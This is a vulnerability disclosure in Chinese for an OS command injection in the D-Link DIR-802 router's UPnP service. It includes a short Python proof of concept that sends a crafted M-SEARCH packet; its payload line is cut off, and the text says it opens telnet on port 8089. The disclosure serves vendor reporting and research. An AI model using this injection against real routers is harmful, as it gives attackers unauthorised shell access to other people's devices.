45 lines
1.9 KiB
Markdown
45 lines
1.9 KiB
Markdown
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---
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title: DIR-802 OS Command Injection
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date: 2021-03-02 13:36:32
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tags:
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- D-LINK
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- UPnP
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- 固件模拟
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categories:
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- IOT
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---
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### D-LINK DIR-802 命令注入漏洞
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> by Cool
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#### 漏洞已提交厂商
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https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10206
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#### 漏洞类型
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CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
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#### 受影响设备及软件版本
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DIR-802 hardware revision Ax before v1.00b05
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https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1300450&fileName=DIR802_FW100b05.zip&fileSize=6163759.0;
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#### 漏洞概要
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DIR-802中存在一个命令注入漏洞，攻击者可以通过精心制作的M-SEARCH数据包向UPnP注入任意命令。
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#### 漏洞详情
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与CVE-2020-15893相似，在固件版本v-1.00b05之前的D-Link DIR-802 A1上发现了一个问题。默认情况下，端口1900上启用了通用即插即用（UPnP）。攻击者可以通过将有效负载注入SSDP M-SEARCH发现数据包的“搜索目标”（ST）字段来执行命令注入。
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#### POC
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```python
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# coding: utf-8
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import socket
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import struct
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buf = 'M-SEARCH * HTTP/1.1\r\nHOST:192.168.0.1:1900\r\nST:urn:schemas-upnp-org:service
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s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
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s.connect(("192.168.0.1", 1900))
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s.send(buf)
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s.close()
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```
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#### 漏洞复现
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使用firmadyne进行固件模拟，运行UPnP服务
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攻击者可以是连接到路由器局域网内并且能够向UPnP端口发送请求的任何人。可以通过编写简单的python脚本将精心制作的数据包发送到特定的upnp端口，该脚本随后将作为精心制作的请求的一部分执行提供的命令。共享的POC将打开端口8089上的telnet服务。
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